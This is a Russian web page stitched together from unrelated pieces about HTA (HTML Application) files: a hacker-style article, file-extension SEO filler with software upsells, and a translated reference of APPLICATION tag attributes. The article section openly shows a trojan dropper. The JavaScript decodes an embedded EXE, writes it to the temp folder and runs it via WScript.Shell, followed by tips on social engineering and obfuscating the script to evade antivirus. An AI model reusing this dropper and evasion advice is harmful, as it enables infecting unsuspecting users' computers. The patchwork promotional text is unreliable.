Что за файл с расширением hta. Чем открыть файл.HTA? Атрибуты и свойства тега

Как-то раз я, листая MSDN, совершенно случайно наткнулся на
описание одной технологии, которая, как выяснилось, поддерживается еще
со времен 5-й версии MSIE. Назвается она HTML Applications. Суть в том,
что если html-контент сохранить в файл с расширением.hta и между
и вставить специальный тег , то к этому контенту
не применяются никакие ограничения, связанные с безопасностью, т. е. на странице могут присутствовать любые элементы управления, скрипты могут
создавать любые COM-объекты, писать в любые файлы и получать доступ к
контенту во фреймах, независимо от того, из какого домена он был
загружен. Это дает возможность создавать
полнофункциональные приложения с HTML-интерфейсом. Если же JavaScript не подходит для отдельных частей
программы, то их можно реализовать в виде ActiveX объектов, а DHTML
использовать только для создания GUI. Очевидно, эта технология появилась
вследствие тенденции использования движка MSIE, где надо и где не надо. О безопасности
мелкомягкие тоже подумали. Простая вставка тега
не превращает пагу в доверенный источник. Если открыть
ссылку на hta-файл, то, как и при открытии exeшников из инета,
появляется диалог с кнопками «Открыть», «Сохранить» и
т.д., предупреждающий, что этот контент может представлять опасность.
Всё правильно, но опытный распространитель троянов сумеет впарить такой
файл юзверю, не знающему об этой технологии. А уж возможностей скриптов
и компонентов, установленных на любой windows-тачке,
достаточно, чтобы скачать и установить какую-нибудь прогу, прописаться в автозагрузке и
даже стереть все файлы, если это доступно текущему пользователю. HTA-файл может быть вполне работоспособным и полезным
приложением. Хотя использовать эту технологию в коммерческом софте
трудно, поскольку HTML/JavaScript исполняется в виде исходника и,
следовательно, не может содержать платных или секретных алгоритмов.

Атрибуты тега APPLICATION

Этот тег не может содержать внутри себя никаких тегов или
текста, но требует закрывающего тега. Можно писать так:

, а можно так:
, как в XML.

У тега APPLICATION есть довольно много атрибутов, с помощью
которых устанавливаются свойства окна. Все они необязательны, и если
тебе безразличен вид окна твоего приложения, то можешь их не указывать. Атрибуты доступны из скриптов, что позволяет изменять свойства
окна, сворачивать/разворачивать и т.д. Вот список атрибутов с краткими пояснениями:

applicationName — имя приложения
version — его версия
border — тип границы окна
borderStyle — стиль границы
caption — показывать ли заголовок окна
commandLine — возвращает аргументы командной строки
contextMenu — показывать ли контекстное меню
icon — иконка окна
innerBorder — внутренная 3D-рамка
maximizeButton,
minimizeButton,
sysMenu — показывать ли соответствующие кнопки
navigable — открывать ссылки в том же окне
scroll,
scrollFlat — свойства скроллбара
selection — разрешать выделение
showInTaskBar — show in taskbar
singleInstance — только один экземпляр может быть запущен
windowState — состояние окна

Старт из HTML

Теперь конкретный пример того, что можно сделать, имея
возможность впарить юзеру HTA-файл. Допустим, у тебя есть готовый
троян в виде exe-файла, и тебе не терпится совместить его с новой
технологией. Трояны обычно бывают маленькими, и, думаю, что ничего страшного
не произойдет, если размер нашего HTML-приложения будет немного больше.
Для того, чтобы вставить бинарные данные в текст, нам потребуется их
закодировать. В JavaScript поддерживается стандартное кодирование урлов.
Этот метод годится только, если нетекстовых символов в коде мало. Если
их много (а так обычно бывает, так как внутри ехе-файлов заголовки и
секции дополняются нулами для выравнивания), то этот метод не самый
хороший. В худшем случае код будет втрое длиннее исходного. Гораздо
лучше было бы заюзать кодировку base64, при которой размер любых данных
увеличивается на 33%, но я не нашел в JavaScript встроенных
средств кодирования и декодирования по base64, а реализовывать их прямо на
JavaScript как-то некрасиво, имхо. Так что кодировать будем функцией
escape(), а декодировать — unescape(). Эксперимент показывает, что эти
функции работают со строками любой длины. Так что можно записать весь
экзешник одной строковой константой в скрипте.

Итак, алгоритм, который нужно реализовать в скрипте, такой:

1) Раскодировать содержимое исполняемого файла
2) Записать его
3) Запустить

Отметим один момент: важно не лопухнуться с выбором места для
файла. Если юзер не админ, то записать файл куда-попало не получится.
Нужно узнать от системы путь, например, папки temp (а это мы сделаем
тоже средствами JavaScript), и записать файл туда.

Итак, затрояненный HTA-файл может выглядеть примерно так.


code = «MZ%90%00%03%00%00%00%04 …… «; // Закодированный троян

var fso = new ActiveXObject(«Scripting.FileSystemObject»);

var tf = fso.GetSpecialFolder(2); // Получим windows\temp
var fn = tf + «\\x.exe»; // Добавим имя файла

var a = fso.CreateTextFile(fn, true); // Запишем в файл тело трояна
a.Write(unescape(code));
a.Close();

var WshShell = new ActiveXObject(«WScript.Shell»);
WshShell.Exec(fn); // Запустим его




Привет, чувак!
TheBat не показывает картинки, так что открой этот файл в Ехплорере.

Неплохо еще защитить скрипт от обнаружения антивирусом.
Существуют проги, изменяющие скрипты до неузнаваемости. Они называются
obfuscators (подробнее о них можешь прочитать в ). Microsoft предлагает свой обфускатор — Windows Script
Encoder. Он шифрует скрипты, а расшифровщик встроен в состему.
Инструкция честно предупреждает, что Windows Script Encoder не защитит
код от целеустремленного хакера. От хакера, может, и не защитит, а от
антивируса защитит. Нужно только скормить ему готовый HTA-файл,
и вместо скрипта появится какая-то абракадабра, а вместо
«JavaScript» будет написано «JavaScript.Encoded». Нельзя забывать о том, что ехе-компоненту тоже необходимо
сделать неузнаваемой, так как она записывается на диск, и при этом
может быть обнаружена антивирусным монитором.

Главный писатель по вопросам технологий

Вам кто-то послал по электронной почте файл HTA, и вы не знаете, как его открыть? Может быть, вы нашли файл HTA на вашем компьютере и вас заинтересовало, что это за файл? Windows может сказать вам, что вы не можете открыть его, или, в худшем случае, вы можете столкнуться с соответствующим сообщением об ошибке, связанным с файлом HTA.

До того, как вы сможете открыть файл HTA, вам необходимо выяснить, к какому виду файла относится расширения файла HTA.

Tip: Incorrect HTA file association errors can be a symptom of other underlying issues within your Windows operating system. These invalid entries can also produce associated symptoms such as slow Windows startups, computer freezes, and other PC performance issues. Therefore, it highly recommended that you scan your Windows registry for invalid file associations and other issues related to a fragmented registry.

Ответ:

Файлы HTA имеют Исполнимые файлы, который преимущественно ассоциирован с Hypertext Application.

Файлы HTA также ассоциированы с Hemera Thumbnail Archive (Hemera Technologies Inc.), Tonline BSW4 File и FileViewPro.

Иные типы файлов также могут использовать расширение файла HTA. Если вам известны любые другие форматы файлов, использующие расширение файла HTA, пожалуйста, свяжитесь с нами , чтобы мы смогли соответствующим образом обновить нашу информацию.

Как открыть ваш файл HTA:

Самый быстрый и легкий способ открыть свой файл HTA - это два раза щелкнуть по нему мышью. В данном случае система Windows сама выберет необходимую программу для открытия вашего файла HTA.

В случае, если ваш файл HTA не открывается, весьма вероятно, что на вашем ПК не установлена необходимая прикладная программа для просмотра или редактирования файлов с расширениями HTA.

Если ваш ПК открывает файл HTA, но в неверной программе, вам потребуется изменить настройки ассоциации файлов в вашем реестре Windows. Другими словами, Windows ассоциирует расширения файлов HTA с неверной программой.

Установить необязательные продукты - FileViewPro (Solvusoft) | | | |

HTA Инструмент анализа файлов™

Вы не уверены, какой тип у файла HTA? Хотите получить точную информацию о файле, его создателе и как его можно открыть?

Теперь можно мгновенно получить всю необходимую информацию о файле HTA!

Революционный HTA Инструмент анализа файлов™ сканирует, анализирует и сообщает подробную информацию о файле HTA. Наш алгоритм (ожидается выдача патента) быстро проанализирует файл и через несколько секунд предоставит подробную информацию в наглядном и легко читаемом формате.†

Уже через несколько секунд вы точно узнаете тип вашего файла HTA, приложение, сопоставленное с файлом, имя создавшего файл пользователя, статус защиты файла и другую полезную информацию.

Чтобы начать бесплатный анализ файла, просто перетащите ваш файл HTA внутрь пунктирной линии ниже или нажмите «Просмотреть мой компьютер» и выберите файл. Отчет об анализе файла HTA будет показан внизу, прямо в окне браузера.

Перетащите файл HTA сюда для начала анализа

Просмотреть мой компьютер »

Пожалуйста, также проверьте мой файл на вирусы

Ваш файл анализируется... пожалуйста подождите.

Что это за файл - HTA?

Файлы с расширением.HTA содержат HTML-код и возможный код сценария на языке VBScript или JScript и обычно могут запускаться в окне веб-браузера. Файлы HTA в Windows выполняются узлом приложения Microsoft HTML - Mshta.Exe - после двойного щелчка по ним.

Если файл HTA находится в Интернете, браузер обычно предоставляет диалоговое окно с вопросом, хотите ли вы запустить или сохранить файл. Файл HTA можно создать, изменив расширение файла с на.HTA.

Программа(ы), умеющие открыть файл .HTA Windows Mac OS

Если появилась ситуация, в которой Вы не можете открыть файл HTA на своем компьютере - причин может быть несколько. Первой и одновременно самой важной (встречается чаще всего) является отсутствие соответствующей аппликации обслуживающей HTA среди установленных на Вашем компьютере.

Самым простым способом решения этой проблемы является нахождение и скачивание соответствующей аппликации. Первая часть задания, уже выполнена, - программы для обслуживания файла HTA Вы найдете ниже. Теперь достаточно скачать и установить соответствующую аппликацию.

В дальнейшей части этой страницы Вы найдете другие возможные причины, вызывающие проблемы с файлами HTA.

Возможные проблемы с файлами в формате HTA

Отсутствие возможности открытия и работы с файлом HTA, совсем не должен значить, что мы не имеем установленного на своем компьютере соответствующего программного обеспечения. Могут выступать другие проблемы, которые также блокируют нам возможность работы с файлом HTML Program Format. Ниже находится список возможных проблем.

  • Повреждение открываемого файла HTA.
  • Ошибочные связи файла HTA в записях реестра.
  • Случайное удаление описания расширения HTA из реестра Windows
  • Некомплектная установка аппликации, обслуживающей формат HTA
  • Открываемый файл HTA инфицирован нежелательным, вредным программным обеспечением.
  • На компьютере слишком мало места, чтобы открыть файл HTA.
  • Драйверы оборудования, используемого компьютером для открытия файла HTA неактуальные.

Если Вы уверены, что все перечисленные поводы отсутствуют в Вашем случае (или были уже исключены), файл HTA должен сотрудничать с Вашими программами без каких либо проблем. Если проблема с файлом HTA все-таки не решена, это может значить, что в этом случае появилась другая, редкая проблема с файлом HTA. В таком случае остается только помощь специалиста.

.a6p Adobe Authorware Application Format
.action Mac OS X Automator Action Format
.actm Autodesk AutoCAD Action Macro Format
.ahk AutoHotkey Script Format
.air Adobe AIR Rich Internet Applications
.apk Google Android Package Format
.app MAC Application Package Or Core System Service Format
.applescript AppleScript Script Format
Как связать файл с установленной программой?

Если Вы хотите связать какой-то файл с новой программой (напр. moj-plik.HTA) Вы можете воспользоваться двумя вариантами. Первый и самый простой - это нажатие правой кнопкой мышки на избранный файл HTA. Из открытого меню выберите опцию Выбрать программу по умолчанию" , затем опцию "Пересматривать" и найти требуемую программу. Всю операцию необходимо утвердить нажатием кнопки OK.

Есть ли универсальный метод открытия неизвестных файлов?

Многие файлы содержат данные в виде текста или чисел. Возможно, что во время открытия неизвестных файлов (напр. HTA) популярный в системе Windows простой редактор текста, которым является Notatnik позволит нам увидеть часть данных, закодированных в файле. Этот метод позволяет просмотреть содержимое многих файлов, однако не в такой форме, как программа, предназначенная для их обслуживания.

Формат HTA или как веб-страничку превратить в программу

Ну так вот. Открыв файлик *.hta тектовым редактором, я, как и ожидал, увидел кучу тегов. Все, вроде, понятно и доступно. Единственное отличие - поле в разделе HEAD . В этом поле указываются параметры, относящиеся к внешнему виду окна, в котором будет отображаться HTML содержимое, поскольку, файлик *.hta является вполне себе самодостаточным и не требует ничего, кроме наличия на компьютере ослика IE версии > 5.0. А параметры там вот такие:


APPLICATIONNAME
Атрибут - APPLICATIONNAME, свойство - applicationName. Содержит имя приложения. Это свойство доступно только для чтения и не имеет значения по умолчанию. Если свойство singleInstance установлено в true, значение applicationName автоматически проверяется перед запуском экземпляра приложения. Чтобы проверка была успешной, значение applicationName должно быть уникальным. Таким образом, значение свойства applicationName используется для идентификации единственности запущенного приложения, независимо от адреса URL, используемого для доступа к нему. BORDER
Атрибут - BORDER, свойство - border. Содержит тип бордюра окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "thick". Свойство border влияет на толщину бордюра и действительно только для окон HTA, у которых есть панель заголовка и сам заголовок. Устанавливая border в "none", вы убираете панель заголовка, иконку программы, и кнопки максимизирования и минимизирования. Это свойство может быть использовано со свойством borderStyle.
Возможные значения:
thick По умолчанию. Толстый бордюр окна, плюс бордюр для изменения размера окна.
dialog Бордюр диалогового окна.
none Окно без бордюра.
thin Тонкий бордюр окна с заголовком.
BORDERSTYLE
Атрибут - BORDERSTYLE, свойство - borderStyle. Содержит стиль бордюра клиентской области окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "normal". Свойство borderStyle устанавливает стиль для бордюра содержимого окна, в то время как свойство border контролирует бордюр окна приложения.
Возможные значения:
normal По умолчанию. Нормальный бордюр.
complex Приподнятый и утопленный бордюр.
raised Приподнятый 3-D бордюр.
static 3-D бордюр, обычно используемый для окон, не обрабатывающих ввод пользователя.
sunken Утопленный 3-D бордюр. CAPTION
Атрибут - CAPTION, свойство - caption. Определяет, будет ли в окне HTML приложения отображаться панель заголовка. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Заголовок приложения (title) отображается только тогда, когда свойство caption установлено в yes. Отключение свойства caption также отключит кнопки "Свернуть", "Развернуть" и программную иконку. В этом случае вы должны предоставить альтернативный способ выхода из приложения, например, кнопку, вызывающую метод close объекта window.
Возможные значения:
yes По умолчанию. Панель заголовка отображается.
no Панель заголовка не отображается. COMMANDLINE
Свойство - commandLine. Строка, которая содержит путь и параметры командной строки, которые использовались для запуска HTA-приложения. Это свойство доступно только для чтения и не имеет значения по умолчанию. Если HTA-приложение было запущено с использованием HTTP протокола, свойство commandLine содержит пустую строку.
CONTEXTMENU
Атрибут - CONTEXTMENU, свойство - contextMenu. Определяет, появляется ли контекстное меню при нажатии на правую кнопку мыши. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Контекстное меню появляется.
no Контекстное меню не появляется. ICON
Атрибут - ICON, свойство - icon. Определяет путь к файлу иконки, используемой в HTML приложении. Это свойство доступно только для чтения и имеет значение по умолчанию "System Application Icon". HTA использует системную иконку, если значение не определено. Атрибут icon распознаёт стандартные файлы с расширением.ico, содержащие изображение размером 32x32 пиксела. INNERBORDER
Атрибут - INNERBORDER, свойство - innerBorder. Определяет, отображается ли внутренняя 3-D граница. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Внутренняя 3-D граница отображается.
no Внутренняя 3-D граница не отображается. MAXIMIZEBUTTON
Атрибут - MAXIMIZEBUTTON, свойство - maximizeButton. Определяет, отображается ли кнопка "Развернуть" на панели заголовка окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Для того, чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption).
Возможные значения:
yes По умолчанию. Кнопка "Развернуть" отображается.
no Кнопка "Развернуть" не отображается. MINIMIZEBUTTON
Атрибут - MINIMIZEBUTTON, свойство - minimizeButton. Определяет, отображается ли кнопка "Свернуть" на панели заголовка окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Для того, чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption).
Возможные значения:
yes По умолчанию. Кнопка "Свернуть" отображается.
no Кнопка "Свернуть" не отображается. NAVIGABLE Атрибут - NAVIGABLE, свойство - navigable. Определяет, в каком окне будут открываться загружаемые документы: в основном окне HTML приложения, или в новом окне. Это свойство доступно только для чтения и имеет значение по умолчанию "no".
Возможные значения:
no По умолчанию. Будут открываться в новых окнах.
yes Будут открываться в основном окне. SCROLL
Атрибут - SCROLL, свойство - scroll. Определяет, будут ли отображаться полосы прокрутки. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Установка значения свойства body.scroll равным "no" - это альтернативный способ предотвратить появление полос прокрутки.
Возможные значения:
yes По умолчанию. Полосы прокрутки отображаются.
no Полосы прокрутки не отображаются.
auto Полосы прокрутки появляются только тогда, когда содержимое документа не умещается в клиентской области окна. SCROLLFLAT
Атрибут - SCROLLFLAT, свойство - scrollFlat. Определяет, в каком виде будут отображаться полосы прокрутки: в 3-х мерном, или в 2-х мерном виде. Это свойство доступно только для чтения и имеет значение по умолчанию "no".
Возможные значения:
yes Полосы прокрутки двухмерные.
no По умолчанию. Полосы прокрутки трёхмерные. SELECTION
Атрибут - SELECTION, свойство - selection. Определяет, может ли содержимое документа быть выбрано мышкой или с помощью клавиатуры. Присвоение атрибуту SELECTION значения "no" запрещает появление контекстного меню. В этом случае присвоение атрибуту CONTEXTMENU значения "yes" не произведёт никакого эффекта. Использование в документе редактируемых элементов переопределяет значение selection. Любой объект может быть выбран, когда значение свойства contentEditable установлено в true где угодно в HTML приложении. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Содержимое может быть выбрано.
no Содержимое не может быть выбрано. SHOWINTASKBAR
Атрибут - SHOWINTASKBAR, свойство - showInTaskBar. Определяет, будет ли HTML приложение появляться на панели задач Windows. Свойство showInTaskBar не влияет на появление приложения в списке приложений, который появляется, когда пользователь нажимает ALT+TAB. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Приложение отображается на панели задач.
no Приложение не отображается на панели задач. SINGLEINSTANCE
Атрибут - SINGLEINSTANCE, свойство - showInTaskBar. Определяет, может ли быть запущенно больше одного экземпляра HTML приложения одновременно. Это свойство доступно только для чтения и имеет значение по умолчанию "no".
Возможные значения:
yes Только один экземпляр приложения может быть запущен.
no По умолчанию. Может быть запущенно несколько экземпляров приложения одновременно. SYSMENU
Атрибут - SYSMENU, свойство - sysmenu. Определяет, отображается ли системное меню в HTML приложении. Системное меню HTA обозначается программной иконкой в левом углу панели заголовка. Системное меню HTA показывает все команды, входящие в стандартное системное меню Windows, включая "Восстановить", "Переместить", "Размер", "Свернуть", "Развернуть", и "Закрыть". Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Системное меню отображается в панели заголовка.
no Системное меню не отображается в панели заголовка. VERSION
Атрибут - VERSION, свойство - version. Определяет номер версии HTML приложения (строка). Это свойство доступно только для чтения и не имеет значения по умолчанию. WINDOWSTATE
Атрибут - WINDOWSTATE, свойство - windowState. Определяет начальные размеры окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "normal".
Возможные значения:
normal По умолчанию. Размер окна - стандартный размер для Microsoft Internet Explorer.
minimize Появляется только заголовок окна на панели задач.
maximize Окно появляется развёрнутым во весь экран.

А возможность использования в таких файлах Java и VB скриптов позволяет делать вообще все что угодно. Кроме того, исполняются они в зоне "Мой компьютер", как и обычные приложения, что существенно снижает требования к безопасности скриптов со стороны IE.
В общем, приложив немного фантазии я накатал простенькую менюшку для запуска приложений с флешки, которую и выкладываю тут. Смотрите, разбирайтесь.

HTML-приложения

Начиная с Internet Explorer 5.0 появилась возможность создавать HTML-приложения с любым пользовательским интерфейсом при помощи JavaScript или VBScript. Причем, созданное html-приложение будет запускаться вне браузера и ничем не будет отличаться от стандартных Windows-приложений.

Созданное приложение будет присутствовать на панели задач, иметь свое собственное окно, меню и значок. Плюс ко всему отпадает необходимость подтверждать использование ActiveX-компонентов (система защиты Internet Explorer предусматривает появление предупреждающих сообщений при попытке использования ActiveX в HTML-документах). Вы имеете полный контроль над системой, включая чтение/запись файлов, данных в реестре, управление процессами. Для создания такого приложения достаточно обычного Блокнота (или другой текстовый редактор).

Данные html-приложения должны иметь расширение *.hta . Простейший случай будет выглядеть так:

Моя программа




Top